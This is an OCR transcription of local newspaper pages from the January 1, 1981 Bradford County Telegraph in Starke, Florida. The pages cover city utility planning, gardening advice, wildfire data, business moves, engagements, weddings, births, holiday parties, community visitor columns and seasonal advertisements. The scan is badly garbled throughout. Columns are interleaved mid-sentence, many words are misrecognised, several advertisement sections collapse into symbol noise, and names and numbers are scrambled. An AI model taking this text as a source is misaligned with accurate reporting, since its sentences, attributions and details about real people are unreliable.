'\,.replace: blboty'used:( by Spite, ? Crftne-A conc they'll look for many years to come. part, bare-root, packaged barerootand anybody inBradford County. That's dalism?.pyrQmahia? County Zoning Office to han- In the 1980 resolutions list Planting times and procedures will be balled and btirlapped plants willhave what the account is forshid Wilson.In . dle building inspections and we suggested that the Com based on the type of shrub you have. a higher survival rate if they are' Such facts,as 'j Ae| a ' issue building permits. mission and/or Bond Trustees planted. int he late Fall and Winter. *'A. other action at theDec.\ 11 residence bt'the'p 1 e determine in which directionthe One of the most common questions ,dl\meeting( of the Board of Governors: gathered.All . Although no contract was about planting shrubs is when to The next thing we need to diSCUSS is t negotiated with the county city should proceed to plant. Usually late Fall and Winterare preparation of the planting site. Yf u ".Discussed: how tai, front', the city the personal data wilt) bc , the City Zoning office has meet present and future the recommended times for adding should prepare the site well in advance limits to place welcome signs whichWilson'eaid in a computer and used to draw upM taken these duties which power needs in order that it new plants to the landscape. So, so that it will be ready for the he is in. process of composite picture '.of :,U>e over could go ahead with a long if you're thinking about getting some new :plant as soon as you bring it relocating. It was left to Wilson to find woodsburner, as well as supply'more are being adequately per- plan. The new shrubs into your landscape now home. You'll want to get the plant In locations where the signs can be precise data on Florida's fire situation - formed. range question would be the time to do it. There are a the ground as soon as possible.If located free of, would be whether to , improve few exceptions to this \ measures. No. Implement new utility and expand the present plantto ruIe..Evergreens, for example are you procrastinate, even' a few "comm ttee ofUazel Hardy and rate schedule. produce all power neededby best planted in August or early days, that healthy plant you bought at Steve Denmark was\ appointed by Right now, 'the worst' areas!; of the city; produce part of its September, and palms should be the garden center: could: be in poor President Ray"Norman.to plan the an- Florida for woods fires Is a. part of Such a schedule is now be- needs and purchase part from planted in the summer, during the shape before it ever reaches its new nual dinner-banquet to be held in Bradford County near Lawtey. other rainy season. home in your landscape.So take a little bad sections: Include. ing prepared by the city's Januaryat the Starke Golf and,Coun parts of Pasco, some outside utility; or aban- extra time in preparation. It will try Club.A Volusia and Duval Counties. ' shouldbe - engineering firm and don its and Planting times and .. municipal plant procedures can give your plant a much better chance ready to implement in Ju- purchase all of Starke's need- also vary depending on how the plant of getting off to a good. start in your Budget Committee of S.L. Peek, The ultimate aim of-the lolngrange ly. ed power. is grown and packaged at the landscape. chairman, with Andy Jordan and Bill data gathering system will be to( nursery. Plants are usually prepared Wilson was appointed to prepare a lower the environmental and No. 6-Cease writing off un- Since this was written, the for shipping in one of four ways: they One important step in preparation' document board approval. at. theFebruary economic losses occurring In those collected utility bills each picture has changed may be bare-root, which is when the is digging the hole. Make sure you dig meeting and other areas of the. state from month and make a hard- I roots are bare of all soil.They may be the hole deep enough. should be at preventable wildfires. somewhat, necessitating a I balled or burla ped..where most of least six Inches deeper and wider on nosed effort to collect delinquent delay in making such a longI I the root and soil mass is dug intact all sides than the root mass of the Named a committee of L.M. If:you have any question concerning accounts or discontinue range plan. At the present and wrapped in burlap. Or the plant plant. Keep the sides of the hole going Gaines, chairman and Elzie Sanders this matter feel free to call me at the service. time Starke Is converting one may come as packaged bare-root,in straight up and down, rather than to collect nominations for'the annual. 004-6280 Ext. 219 or stop by my office which cased, all the soil is removed sloped.At the bottom loosen several chamber awards.. in the Agriculture building. Collection of such bills ha of its generators to the use of J from the roots, and the roots are then inches of soil to allow for root develop been turned over to a profes- gas created by the gasification 1 wrapped In sawdust, bark, or peat ment., . sional collection agency and of wood biomass. Any Bret & Jerry's Moves to 'Mallard's BuildingLoretta I service to delinquent con- decision concerning the futureof sumers is now being discon- the municipal plant must be MIMul delayed until after tests have ..ADPt'.D Comilegr Marchant told the Telegraph the tinued after 21 days of delinquency 1.fra Marchant and Gayle Mc- store proved the efficiency or inefficiency Cree.' owners of Bret and Jerry'ssporting manufactures uniforms and has . of the converted pt,r goods firm, announced a retail complete and wholesale line of sporting goods on a of 0 Wednesday Dec. 17 have basis. No. Updated inventory generator. they purchased : all tools and city equipment. ISTAIUSHED. '117 : UM old Mallard S and 10 cents They.Invite the public to 'visit the , One man given the respon- But in spite of these few I store building at 113 East Call Street permanent new store. - sibility of issuing such items, shortcomings, Starke can be 101 G. naCUSONIOHN M.MILUI Publl.li.r. and have moved the firm to its new proud of the progress made in i permanent location.' : with adequate records kept. ' J solving some of its problems] hbNd./.J,niw.M.d..5a. ..dCI.-_'!lW.M OMIc The firm is In its eighth year of _., ., .a 11..1..A..M.dr IVI Such a system has been in during 1980. We can now look business in SUrke. The move to the effect since last October with forward, with renewed hope ..._OuMM_..fcMto_.._....._M Pwr..r N..._. new large quarters will allow the firm the inventory approved by thecity's to further Improvements in -....uw .1.-, Hw.....*. to serve the area people on a bigger and better basis .with all their sporting The awerVcolor TV' auditor. 1981. goods needs. 'lasts about 12 tsars, , rw .. -- ............. .. .e." q January I..!81 TELEGRAPH Page 5A I Community State Bank Has Employees Christmas of Community Party !State: f17/w ffoo al7ide Bank enjoyed a Christmas dinner and dance at the Starke Woman's Club' on Saturday Dec. 20. ' The individual dining tables aroundthe dance floor were centered with gltJIJ,6 WoJyL st r I candles decorated with holly cedar /' , c lily 4Jr and poinsettias. Other Christmas Society liUr Yhe I d I ___ auditorium decorations at were vantage placed points.around the 964. 7601f /fly V ,ew sL' The delicious: dinner was catered by k Western Steer Steak House. ' The Linda Seay band of Starke fur- " nished music for dancing during the evening. Retiree J. R. Honored During the dinner plaques were Kelly by presented to Steve Simmons for his 23 ' years service to the bank and to Sen. Courthouse Staff C irtetmas at Luncheon Charley E. Johns for his 23 years as ; president of the bank.Approximately ' 60 employees en- wt J.R. Kelly, who Is retiring iter approximately i 42 years, Kelly was employed as : I .. --- joyed the affair. 47 years in the radford 1. uty Clerk and Supervisor of Elec- II Bounty Courthouse, was honored at tit>. s. Gib Brown clerk of the circuit : I the Courthouse employees'Christmas court, presented Kelly with a plaque Lori Mooneyham, party Tuesday noon held in the copy from the courthouse employees for . room of the courthouse. his services durl.tg the past 47 years. . Glen L. Clyatt, Jr. Prior to serving as Tax Collector Sheriff Dolph Reddish gave a short To Wed Jan. 17 talk of appreciation to Kelly for his . .Y faithfulness and dedication to the . Mr. and Mrs. W.L. Mooneyham of J.R. Kelly County during his employment. \ Lake Butler announce the engage. Susan DalyMarried The employees of the Sheriff's! Fi ,ment and approaching marriage of Dec. 26 Department decorated the copy room , \ their Lori Lann to,Glen daughter, in the festive holiday motif with i Lamer Clyatt, Jr., son of Mr; and t b. J.R. Kelly of Bedford Lake and Christmas arrangements, candles Mrs. G.L. Clyatt, Sr. also of Lake Susan Daly of Clearwater were unitedin and ceramic Christmas tree. A Butler. lax marriage Dec. 26 in Folkston, Ga. covered dish buffet lunch was enjoyed The wedding is planned for Saturday The couple were attended by the . I Jan. 17, at the First Baptist bride's parents, Mr. and Mrs. Ralph Church in Lake Butler. Bax of Clearwater and her sister, Did you know.... : The bride-elect is a recent graduate\ Mrs. Ann Sunderbruch of Clearwaterand of Union County High School and is t her daughter, SherriJean.The Mr. and Mrs. Ron Kelly and familyof < presently employed at the Community 'I. couple will divide their time Tampa are Mrs. Jack Trawick's ; '",,' Bank of Starke. between Bedford Lake and Clear- guests at Kingsley Lake for several : ", Mr. Clyatt is a recent graduate of water. days. ' : the University of Florida and is a .. -- ), i(, member of the Bradford High School .1 " J :\I, 'I coaching staff. ,, R , ? It: No invitations are being sent local- + Elaine Nugent ly, but all friends and relatives are invited I I i, w II Buddy Collings to attend "t',> f ( . Elaine Nugent, Alma Jean Johnson Mac Baldwins '. ''J F \: Buddy Collings Ralph Felicetty Jr. Hosts at Open HouseMr. 4' !,' ,. .,R r r Engagement ToldMr. Engagement Told and Mrs. Mac Baldwin were J f;. \ :; _ Mr. and Mrs. A.R. Johnson, Jr. of hosts to approximately 75 friends at a I ; :. .and Mrs. Paul of Starke Nugent delightful "open house" Saturday .. Starke announce the engagement and J : ..,. ! announce the engagement of their of their night at their home on N. Walnut l' \fl" , daughter Elaine, to Buddy Collings, approaching marriage ,, Street. , Alma Jean, to A. It. .' .daughter, Ralph , son of Mr. and Mrs. William V.' Coll- Felicetty Jr., son of Mr. and Mrs. The home was decorated: in ,\ < ings and Mrs. Allison.Collings, of In- R.A. Felicetty, Sr. of Anchorage, the Christmas tt.u.iu throughout the ; i i1.\ t, 's dialantic. Alaska. party rooms with a lighted tall lit <*, 1" ;lI'irtr" '"=V4 .a Elaine is a Bradford High School The wedding will take place June 7, Christmas tree In the living room. Lori Mooneyham graduate and is now owneroperatorof refreshment table in the dining at 1 p.m. at Calvary Baptist Church The Lanler Clyatt PEACE Ffl 1981 Small World Care. Day with a reception following in the room was covered with a white linen Buddy graduated from Melbourne centered witha Hall. and lace cloth and was High School and the University of Fellowship . All friends and relatives are invitedto red, silver and green arrangement.A Florida and is presently sports editor attend. silver candelabra with red taperswas J for the Bradford County Telegraph.A at one end (at f the table and crystal W.J. Dodds, Jr. Peace In many ways: Balmy February wedding is planned; punch bowl at the other end. final arrangements to be announced Heather Lynn Bakken An evening of holiday fellowship To Celebrate b !I titles, bright days, later. was enjoyed during the party hours 8 50th Anniversary Christened Dec. 14 to 12 warm smiles! p.m. Mr. and Mrs. W.J. Dodd, Jr. will of Starke Little Heather Lynn Bakken, City celebrate their golden wedding anniversary daughter of Mr. and Mrs. Gary Bak. Employees Christmas ken was christened Sunday, Dec. 14, DId011 '"OW.... Sunday, Jan. 11, from 3 to 5p.m. 1 .Dec.-,-20 ,. .. -. during the 11 o'clock service at the at a reception given by their Party First United Methodist Church. Mr. and Mrs.Lynwood Walters and children at the Madison Street Baptist HAPPY NEW YEAR The employees and retirees of the Grandparents are Mi, and'Mr8''J 'II daughter Mandy of Greenville,' N.C.yaOib ,i, Church Fellowship Hall. , City of Starke had a Christmas dinner Bakken, Jr. of Starke ahd'Mri'-al' are '-spending ,this ''week ,with ,Ills '.t, All friends and relatives" are invited and dance Saturday night Dec.20,at Mrs. Warren Ebling of Kingsley parents, Mr. and Mrs.S.L. Peek.Miss to attend. CONTAINER CORPORATION the Starke Golf and Country Club. Lake. Great grandmother is Mrs Katharine Peek of Tallahassee was The family requests 'no gifts, Christmas decorations were Nelson Green of Starke. home for Christmas.Mrs. please. predominately used throughout the Following the service dinner for 30 964:7342 Starke Fla. club house for the affair, completewith members of the family was held at Cecelia Terwillegar had as red crepe paper streamers, red the home of Mr. and Mrs. Don Dec. 17 Christmas luncheon guests bells and Christmas tree. Hardenbrook.Great Mr. and Mrs. J.H. Truluck and Mrs. . Music for dancing was furnished by grandparents include Mrs. McKay Truluck of Sanford. They //1/) '.' F Jerry Wadsworthy band. Pearl Benham of Billings, Mo. and were joined by Mrs. H.A. Nelson Jr. .i " Approximately. 100 employees, Mr. and' Mrs. Joseph Bakken of and son,Byron Andrews Nelson, Mar- wives, husbands and dates enjoyed .Wahpeton, N.D. tha Dorko, Clyde Byron Terwillegar, the occasion. III and Steve Denmark. , . -------"-" 2Hi.S I '(ti. .. \ / \ / E' \ / -I- MOOd'l'$ '" . D l\ 9i 9iI "".I.t.w "tlllt )HIi , gyp. + \j//\ \ I 'I ii. i..h'/JI'" '1t c oI \ /' /1\1t I tf t i rial n ''ruf< ! .'JUrt ',vIil).'Pr'1> i 4' ')(1! dduloiqU'j3 ,:, f 89+ s' d3 ' , !dlJtI' !tl1. ' ,it I rood, *"r.llll! i l' , I / rt1 ., 'MI.iwi, "- .n, ti -- "II tu">'0 9i 1(> |rt/ + 'il( ) ,J iMr t*'#\' (', {Hjl1 > -f* ( SBfirllV: rt'H'in' i I. 'tw" ,, IlK *'" ,lty ,"I '\fl > V ' V 1) 'Hi)( I II) *' ; frfCt'J \\\, ->fJfr( ) ,.nf/v' /, '' 'ti, SioA wt. "<) 1':.. ?'f -.. . "wti! i 1,0' 1J'I, 'I.f' I. 41111 'UI, II h,' :' . LL "11 "; ,]/,' :' f I . :: ; s a . U 'i-It t iiV It tli !' '' !6 }'." ' ' 9' '1\1//.', I. \ ':' VIII ,* :. '" I if: , ',:>:; . , :- . ANA .t+ J " -: I ','>\; ': ,, "dh J 'i 'ARi .' '1': ' 1- : . :'! ';* .. ppy '.,,,' . How a happy holiday To our many friends J' I . and s most tvcMuful yar. 'n ill ,. Urn*you lot your frls! dihip. (; and neighbors the '" '. very Let the New Year bring only...happy times 1 ; ::\ * best of ,'' and seasons of peace and prosperity. 1 t" everything : .. 'J .-.' , I \ .; ,' ,..r' TRAIL RIDGE I . ; i ,', '. ",.r \" '; 1 '. \ . Lewis Timber Co. j > t ;> :. ; I. ., Griffis &Works SonsFiberglass '"I;( ', Starke, Fla. ..' '" I (!JD U PONID J) ,,j". I .. ::1jII. I."f' ....U..M ;Of " 3 Miles ,N. 301. , .'Starke' Fla 964.5631 964-6871 .' '' ; kt I, HIGHLAND r! : N . -.-.. , _. _" _- _. I _,. ..___. I... r.- .._ :;;... ;.,r .. .....:; .:\:'...;;;:.:;;..:: ...,. ',' ', .;;,;;;...-..:......:....:................ .. 'J ...::4,"-'_....'- -.._-__-_.0' .....-----'-- =--. .". ,.-...-.,.._____......,..-. -.- ._- II't, ,_ (.!.:. --- ".- --'- ... .. ... .. ... ... __..... ... ... ., ...._., .. .. - .... -. ,' ., \'lW<'\\_"_ '".. ..".... " __ . .. ... .. ... . .. .. .., -- "'- _. .. .. .. . " ' ) \ Page6A TELEGRAPH January 1.1981 -- -----. -. ...-...- -.---............... ........ ........ ., ; St. Edward's Cttiliolic Church Did You Know! -'- --- New "ear'.Sclledille son on his guitar. The altar held a Doug Seymour of Miami. Hal Mr. and Mrs. Gene Wiggins of Fair Masses: January I .. Feast of the Christmas Rose, a lighted Yule Log Seymour of Ocala Mr. and Mrs burn Ga. spent Dec. 24-29 with his Solemnity or the Virgin Mary Vigil decorated the gift table and a Nativity Marion Harrington and daughters of parents, Mr. and Mrs. Ode Wiggins Mass. Wednesday evening-7 o'clock, Scene was placed beneath the Ormond Beach and Bill Harrington of Nee) altar. Kathy Prrnini and Pat Nichols Christmas Mr. and Mrs. Don spent the Thursday morning -9 and 11 o'clock. Keystone Heights were with their of for Christmas holiday ion, were in charge arrangements eve dinner guests of Mr. and Mrs. Christmas Party this Liturgy., J.D. Seymour. Hal and Doug remain Donnie in Houston, Texas. Children of the parish were treated ed for the balance of the week. to a Christmas Party in St. Edward's Midnight Mass Vi Price Sate l parish hall on Dec. 21. Santa's Father Edward Rooney celebrated Mr. and Mrs. O.D.: Bennett of at skit Christmas Mass at St. Edward's.Cecelia Mr. and Mrs Jerry . Workshop was presented as a by Jacksonville, The Office Shop preschool thru 6th graders who sang Richards served as Lector; Laliberte and son of Mandarin, MOW, Call St. and Silent Altar Boys were Paul Bawck, Andy Rick Johns of Rudolph Night. Elves were Shirley Johns and Hundreds of Christmas portrayed by Crystal and Rachel Nguyen and Steven Spell. Ushers Orange Park and Gene Shaw of Lake and Other Gift Allen Randy Milton and Cindy were Tom Allen and Tim Clougher. ; 'Asbury and daughters were Reduced Items Mr. and Mrs. Victor Ashline were gift .::1 of Mrs. Samons. Patricia Parado was the Christmas day dinner guests Narrator. Santa Claus visited and bearers at Offertory time. Readings ,j F.J. Shaw. jJ presented 'jift& assisted by Faye were given by Carol Ashline Pat J Mr. and Mrs. Charles Fachko and S isher. The hall was decorated by a Nichols Gerri Phillips and ,Kathy >/i Price Saleat Mr. and' Mrs. Charles Whitehead and Christmas tree which held decorations Pernini. Antoinette Coss served as ..1 families of Jacksonville were the out- Organist for the Mass, and Blaine Christmas day guests pf'Mr. made by members of the CYO The Office Shop of-town group, and other holiday themes. Nichols directed the Choir. Grlffls 110 W. call sr. and Mrs. A.B. Wh tehead. Debra Ann Billie Suzanne Gassett Mrs. Anne Samons and Donna The church was decorated with Hundreds of Christmas Samons were incharge of the program poinsettias, lighted Christmas Debra Ann Griffis and Other Gift Mrs. Jane Ward and Mrs. Harriet decorations and refreshments wreaths, and a Nativity scene Items Reduced Muth of Cocoa Beach and Mr and Billie Gassett, of cookies, cakes, candies and punch beneath the altar. Windows were Mark D. Box Mrs. Nelson Black and son of St, served at the party. outlined with greenery and Christmas Wed Feb. Petersburg were Christmas holiday To 14 John Baldwin III balls.Donna Samons was in charge of Mr. and Mrs. Ted Golunka and guests of Mr. and Mrs. Richard Welly Chrlstma'llasses! the Church decorations. Mr. and Mrs. William M. Griffis of daughter Mary Angela of Rome, - To Wed Jan 31 St. Edward's pastor Father Edward Lawtey announce the. engagement N.Y. arrived Tuesday, Dec. 30 to Rooney celebrated the Father Rooney Visits Ireland and approaching marriage of their visit her parents Mr. and Mrs. Inman Mrs. Mary Katharine Wainwright Mr. and Mrs. James H. Gassett of Children's Liturgy Mass held In the Father Edward Rooney, St. Ed.ward's daughter Debra Ann, to Mark Dustin Green. Mrs. Golunka and daughter and children and Jim Terry of Keystone Heights announce the parish hall on Christmas Eve. Becky pastor left Christmas Day to Box. son of Minnie M. Box and the will remain for a month while Mr. Lafayette, Ind., Mrs. Betty Lou Shaw engagement of their daughter, Billie Pernmi was the Lector; James Pernmi spend the holidays with his mother in late Thomas A. Box. Golunka is on business at KceslerAFB and children and Johnny DeVore: of Su/anne to John Dan Baldwin III of served as Usher; Gift Bearers County Kildare, Ireland, and other The wedding will be an event of Miss. Winter Park and Russell Haynes of relatives and friends from his native Feb. 14 at 4 in the First United ' Gainesville. Mr. Baldwin is the son of were Alicia Gnffis, Cindy Samons p.m. Orange Park were Christmas holiday Mr and Mrs. John O. Baldwin Jr of and Tessa Pernini. Dianna Phillips land. Methodist Church Mr. and Mrs. Bill Clark of guests of Mr. and Mrs. J.R. Wain Gainesville.The read the meditation she composed on Father Donal Sullivan of Dublin, Miss Griffis and Mr. Box are both Melbourne and Mrs. Dee Brewer and wright. wedding will take place in the the True Meaning of Christmas. Ireland is serving St. Edward'sparish graduates of Bradford High School. son, Adam of Camden, Ark. were Friendship Bible Church in Keystone Blaine Nichols was the Song Leader during Father Rooney'sabsence. She will graduate in 1981. He Dec. 24-27 guests of Mr. and Mrs Mr. and Mrs. John Davis of Silver Heights Saturday Jan. 31 at 4 p.m. and was accompanied by Tony Ander- graduated in 1978 and is in the U.S. John Bradley, Jr. Springs have moved to'the Pine The bride-elect is a 1976 graduate of Navy Forest Apartments on W. Madison Keystone Heights High School and a Did You Know........... Mr. and Mrs. Merritt Williams Street. Old knew.... spent Christmas day with their graduate of Santa Fe Community Col you . daughter and family Mr. and Mrs. Mr. and Mrs. Stephen Tilley and lege.Mr.. Baldwin is a 1973 graduate of Mrs. G.J. McGriff, Sr. spent Tues Mr. and Mrs. Bill Dean Thompson L.A. Taylor Jr. in Jacksonville.Mr. son of Orange Park Mr., and Mrs. day to Sunday with her son and family and daughter and Tim of Thompson of Gainesville and Steve Hardeman School and Buchholz High Gainesville Mr. Mrs. Mack Williams Jr. Mr. and Mrs. "McGriff, Jr. in Gainesville, Mr. and Mrs. Pur and attended the University of Harry and Mrs. Eslie Lee of Macon, Ga. and and Mrs. Billy Powell of Mrs. Agnes Heath of Fort auderdale Florida Gainesville.Mrs. vis and sons of Newberry, Mr. and Miss Patti Williams of Jacksonville Mauldin, S.C. and Mr. and Mrs. Britt were holiday guests of Mr. and Mrs. Mrs. Herb Nelson, Sr. of Keystone are New Year's weekend guests of McGregor of Charleston, S.C. are W.E. Tilley. : Earl B. Searing spent the Heights, Mr. and Mrs. Leo Champion Mrs. Mack Williams.Mr. visiting Mr. and Mrs. Charney Christmas holidays with her daughter of Starke and Mr. and Mrs. John Williams and family in Starke and Mrs. L.D. Vining spent Wednesday Sgt. John F. Crews and family, LCDR John G. and Carol Davis of Silver Springs were and Mrs. Gene Pass of Mr. and Mrs. Morris Brown, Jr. in to Sunday with Mr.and Mrs. T.J. Vin Receives Award Sims in St. Marys Ga. W.B.Christmas day guests of Mr.. and Mrs. Newberry Mr. and Mrs. Randy Pass Lake Butler for a week. ing in Palatka. : Sgt. John F, Crews serving with Mr.and Mrs.Henry Stefanelli spent Thompson. and daughter of Hawthorne and Mrs. : the 146th Signal Battalion in Jackson Christmas day visiting Mr. and Mrs. Linda Wells and daughter Lea of : ville and wife Dawn enjoyed a Albert Stefanelli and Mr. and Mrs. Mr. and Mrs. Mike Smith and .Jacksonville were Christmas holiday ; Christmas dinner and party at the Sam Caruso in Jacksonville. daughter, Karl of Gainesville were guests of Mrs. Elise Pass : Jacksonville\ Armory recently. During last Thursday to Sunday guests of : the dinner the fleer's wives were Mr and Mrs. Bobby Case and family their parents Mr. and Mrs. X.M. .. presented a hand etched crystal vase of Lake City and Miss Kathy Struthof Smith. with red rose. Raleigh, N.C. were Christmas ; Sgt. Crews received his National of their mother Mrs. Lou Guard Service Gilion and award for guests Marcia Goodge, daughter of Mr. truth and Mrs. Ralph A. Goodge of Starke : over five years service with the National : Guard, joining the unit in June has been named to Tift College's 1980 ; of '74 and having received several Mr and Mrs. Gib Brown had as Fall Quarter Dean's List. :. promotions through the following Christmas day guests Mr. and Mrs. Capt.and Mrs.J.B. Godwin,Jr.and years. Ed Brown and Mr. and Mrs. Larry Coleen of : Crews is presently platoon Sgt E7.He Noegel of Jacksonville, Bill Brown of son. Trey and S.C.daughter visiting his Charleston are : and his wife the former Dawn Tallahassee, Mr. and Mrs. Marvin Brown and Mrs. Jim Mr. ; Lamb reside at 1020( Eastwood Dr, Brown and Mrs. Ruby Brown of parents : Starke and is employed at Camp Starke, and Mrs. Gladys Fox of Cocoa Godwin for a week. :. Standing. and families. Sgt and Mrs. Crews had as guests Mr. and Mrs William Templin at the Q annual Christmas party held at the t Officer's Club recently. Crews is E'I' :: . employed as Sewerage plant operator! 1 [ Mi" n9ib'sWbl 1': :tij 'r 'Ri I\"o{ .,: . ; at Camp Blanding I ..." ,,1'1:';. .):,:.. ,n .:JH vl bll\\ " I happiness be yours WISHES We hope it will with the New Year. / Hello"WoIdl be a good year good friands.Durrance . for you. a Bowen J Pump Pest Control" andSupply Dr. Ronald E. Dopson . Service I ' &Family .. Company!;' :1 , Will Cla>ton Hartley I Staff Jean & Beverly .' 1 _, I h.-.Vl Mr. and Mrs. Mike Hartley of 864 N.'Temple, Starke Rt. 2. BoxStarke 1675 .864. N.' ,Temple l -I lAva-Miti. Starke announce the birth of a son, 964-8018 '' u9 b Starke , Will Clayton, born Dec 24. in Alachua Fla. >nrir General Hospital lie joins a sister, We hope to serve you , ; 19 months.Grandparents > i. atM Kmily. often in 1981. . are Mr. and Mrs. Thanks friends, for your .'" ' J.T. Frevalt, Jr, of Starke and Mr. . and Mrs Larry Hartley of St. valued patro age. Augustine Great grandparents are new VEARr ev ; :Mr. and Mrs J.T Prcvatt Sr., of i i. ii- I I.awtey, Mr. and Mrs W.H. Agner of AdvancedElectronics '>i<" :', Kmgsley Lake and Mrs. A.D. Thread of Great (Falls, SCItriij.iiniii THE PLACE TO BE!J. h Jarrd di'iffisMr Past I :op' thefi1/ ::'-. .j. I and Mrs Leonard Victor Grif- 416 E Call St. Party at iJ1. " fis of Starke announce the birth of a 138 OOStar1 ' son. Benjamin Jared, born Dec 21, in Starke Holiday inn '. AUichua General Hospital. .j, <.J;'., . Maternal grandparents are Mr and 964.6642MERRILy Mrs John( B. Sapp. Paternal grandparents arc Mr. and Mrs. Woodrow DOr ] :: - iff is, all of Starke. f 9647609c :..: .. . -------......-..---........ W Buddy Codings) spent Thursday to J.II ' Saturday with his parents Mr, and The Mrs. Bill Collings in Indialantic.CI. PartyMillJnlt10l :. start at 6 pm v::>>t.... SING :> 9".t2 jUfll . with Di nner"t, S16.\ ./, d prime Rib :' _. . with salad Bar ' ,Choice of Potatoes ;,._ j ,.J_,. . Half Carafe Wine RII.... "'lItUappy "\ ' (Chablls Burgundy-,Rose] ';, J ' New Year A song of Call for Reservations --, 0 Champagne.Toasted All NeuoLuncheon good wishes Wearepleased, 'S35.oo per,couple : at Midnight Special for your to FUraiuringjNvw New Year.Norman's welcome the new out' of Town Guest can rent .!! Champagne Y.ar*. Dinner Yeor with our a:Double Room for S16 Plus.ta :" Breakfast , From 11 30 am until 2 00 pm best friends. : Farm Produce """" I, .- ij. "T , DINNER Party Favors From 4:30: pm till 9:30 pm .& : "..,...'{ar",....,"... 'I:' COMPLETE \ '.. - Seafood Market 301 liquors <: . CHINESE CUISINE :! .: : _Op n 7 Day A WMK .' '. ,\ ,j Ctfrwd Saturday *t luncn Only li/vy/ 301 N. .. Of StarkeU.S. .. ..:..I ,. ';r "'. "... ,, ATlo1100" '_"a.. 101" . '0......"0'" Starke, Fla.9646O71 1 Mile North of Starke . ||r\K....4MPHONE 'r .tll..."" - : 964-5125 301 N. '9647600c ,- . - . 4 (/ l __ \. January 1.1981 TELEGRAPH l'ue.7A! | Hampton Hilights _..........,.., .... roo____..,.. roo, r-o......_..._...,... r-o.-__ Brooker News _o.I'f..,..... .---- ..........--............ .............. .- \ by Dolores Meng while dining with the family at a nice C.E.483-1344"Sue" Davis, serious cafeteria Illness was a huge success. t ue to J.K. Douglas Howard has lived in Michael John of Charleston S.C. and phone 468-1915 restaurant in Atlanta, when three Virginia was not ableto Brooker all of his life except for 3'/id Mr. and Mrs. Dyke Tiltons and son singing waiters presented. her with a First Cafeteria In Brooker School<<: return the next term and the lunchroom years in the Army. He and his wife Charles of Tampa were the Christmas Holiday Happenings birthday cake and sang that familiar The year was 1936 W.P.A. days. ment. opened under new manage Jean have four children: Eddie, a certified guests of the Hughey Crosby family. Mr. and Mrs. Gerald Adkins enjoyed melody. They all had a great time! With no telephone service available, The public accountant with the firm Cdr. Hilderbrant is retired and is the second a wonderful Christmas when all Mr.' and Mrs. Wallace Collins en- news traveled by the old grapevine year Virginia did return of Monk, Davis and Farnsworth in warehouse superintendent of all Lee their children and some of their joyed a pre Christmas celebrationwith system, word of mouth. The messagewas her as manager and Mrs. Vance Russ was Gainesville and Starke; Sue Crawfordof County schools. Cdr. Moore ill the co-worker. grandchildren spent the day with a group of his relatives in for Virginia Howard to meet witha salary at that time.Virginia did receive a Graham, Debbie Pate of Leesburgand Skippr of the U.S.S. Ray submarineand them. Jacksonville where they dined representative of the Federal Greg who is studying for the : the Tiltons are both employed by Virginia and her husband Samuel Mr. and Mrs. Lonnie Melton w revisited together at a nice restaurant. .Government at Brooker school. Pur- Lee reside in ministry at Stetson University. Eastern Airlines Brooker where this during the holidays by their pose to start a lunchroom program all began. The old school near has long Douglas said that in all the years of Those enjoying a ski trip to> the son and family, Rev. and Mrs. Silver Anniversary for the students and staff. After obtaining since been torn down and service, he had only three minor accidents lodge near Boon, N.C. during the Leonard Melton of Spring Hill, Fla. Mr. and Mrs. C.W. Melton Sr. permission, Virginia and her modern building. The cafeteria replaced bya is and was never bitten by a dog. holidays were: the William Harrell Steven Earnest and his fiancee celebrated their Silver Anniversary sister Flora rode the school bus into housed in and the Around Town family Winston Kelly and son Dion, Diane Fox of Jacksonville spent on Dec. 29 with a trip to Plant City. town for the meeting ((44 years ago lunchroom a separate is building> under the Mr and Mrs. William Simmons, the Joe Robinson family, Dana Dyal, Christmas with his parents, Mr. and very few motorized vehicles were direction of program Georgia Howard.As now Mr. and Mrs. David Crews Mr. and Robin Williams and the Jerome Kelly Mrs. Wallace Collins. Special TrainingC.W. Mrs. Stanley Youngblood, and Mrs. available! in this area transportationwas family. Mrs. Garnet Studer enjoyed the Melton, Jr.has returned to the by buggy, wagon, horseback or Virginia Electric says, it sure is differentnow. fresh Fredia Crews, all of Jacksonville, Mrs. Doris Kelly reports all of her Christmas visit of Cheryl Ann Page of Army Base at Ft.Stewart.Ga. following > walk). meats. In her day refrigeration iceboxes and were the Christmas day guests of the children were home for a Christmas Hendersonvllle a month of special training In cann- Allen Crews family. Lenox and his family N.C., van and Gteg Imagine Virginia's surprise when ed meats. The food is basically the feast except Page Cindy Bowman. Patricia and California. she arrived at the school to find the same but prices sure change 5 cents Visiting the Howard Douglas family who live in Cincinnati: Jason Jacksonville. during the Christmas holidays were: River Church Redlinger of government not only sent an agent New Baptist meal then 50 and cents On Christmas Eve Santa Claus paida Back In Hawaii but had delivered pots pans, dishes, per Brooker Mail Carrier Retires up now. Greg Douglas Eddie Douglas andfamily Wednesday Dec. 31, the Baptist visit to Marine Corporal Donald Slade, Jr. of Stance, Sue Crawford and will hold watch night at the the Francis Meng// home etc., two oil stoves (one a 2 burner, house Howard Church a where all their children and'grandchildren and his wife, Brenda and daughter, one a 3 burner) and two portable Open honoring husband of Graham and Debbie Pate church from 7 until midnight. A chili Douglas retiring mail carrier, will be Cindy, have returned to the Marine of Leesburg.Chaplain will be served to those atten- except Gerald of Lake ovens; dry beans, gallons and gallons held in the educational building of supper Tahoe, Calif., were gathered for a Base at Kailua, Hawaii. They had of canned vegetables, shortening, Brooker Church Alonzo Norris and wife ding.Saturday. family dinner and gift exchange.The come home to attend the funeral of his flour,meal,.etc:. The Government was 4, between Baptist the hours of 2:30 Sunday and,Jan.4:30 Jerry, daughter Selenia and grand- Jan. 2, the choir of the entire family: of Mr. and Mrs. grandfather, Bud Slade, on Oct. 26. ready to start a nutritional programat Co-workers and friends will host: daughter Cricket of the Air Force First Baptist Church in Safety Harbor Paul Meng had Christmas dinner with They were fortunate to be granted an the school. The principal of the p.m.affair base at Ft. Stewart, Ga. were the holi- will perform at the New River Church and the is invited to them. The evening was climaxed with extended leave and to spend school was very much against'the .the attend.On public day guests of his mother, Margaret beginning at 7 p.m. All those wishingto the arrival of Santa Thanksgiving with his parents, Mr. McEeen. hear this choir, please be who presented program. His argument, the area was Jan. 2 Howard 55 will great pre- Douglas, , and Mrs Donald Slade Sr.and Craig Wood and family of gifts to all the good grandchildren Kelly strictly farm community and a child sent. goodbye to 6 days of sorting say present. Although he had a little difficulty also his grandmother, Mrs. Gertrude could take a lunch pail to school much and of Charleston A.F. Base in S.C. were Slade and her parents, Mr. and Mrs. packing delivery approximately guests of his parents, Mr. and Mrs. remembering all.the names of easier than a 